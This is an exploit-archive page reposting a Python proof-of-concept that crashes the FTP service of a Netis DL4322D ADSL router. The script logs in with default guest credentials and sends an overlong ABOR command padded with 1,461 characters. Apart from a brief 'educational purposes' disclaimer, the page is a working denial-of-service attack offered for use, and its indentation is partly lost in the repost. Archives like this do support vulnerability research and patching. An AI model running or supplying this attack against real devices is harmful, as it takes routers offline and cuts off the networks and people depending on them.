Netis adsl router dl4322d rtk 2.1.1 denial of service (poc) Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2018-09-17 | Type : dos | Platform : hardware
This exploit / vulnerability Netis adsl router dl4322d rtk 2.1.1 denial of service (poc) is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

# Exploit Title: Netis ADSL Router DL4322D RTK 2.1.1 - Denial of Service (PoC)
# Author: Cakes
# Discovery Date: 2018-09-16
# Vendor Homepage: http://www.netis-systems.com
# Software Link: http://www.netis-systems.com/Home/detail/id/74.html
# Tested Version: RTK 2.1.1
# Tested on OS: Kali Linux
# CVE: N/A

# Description
# The FTP service is vulnerable to a Denial of Service attack. Attackers simply need to log
# into the router and send and valid FTP command with a character offset of 1461 as the command input

import socket

evil = '\x41'*1461

print "\n[*] Netis ADSL Router DL4322D RTK 2.1.1 - Denial of Service (PoC)"
print "\r[i] Creating socket"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "\r[i] Connecting..."
connect = s.connect(('192.168.1.1',21))
s.recv(1024)

try:
s.send('USER guest\r\n')
s.recv(1024)
s.send('PASS guest\r\n')
s.recv(1024)
print "\r[+] Connected"
except:
print "\r[!] Credentials aren't working. Please change if none default"

print "\r[+] Sending Payload"

try:
s.send('ABOR %s' % (evil))
print "\r[+] Payload sent"
print "\r[+] Router offline"
except:
print "\r[!] Something went wrong"

s.close()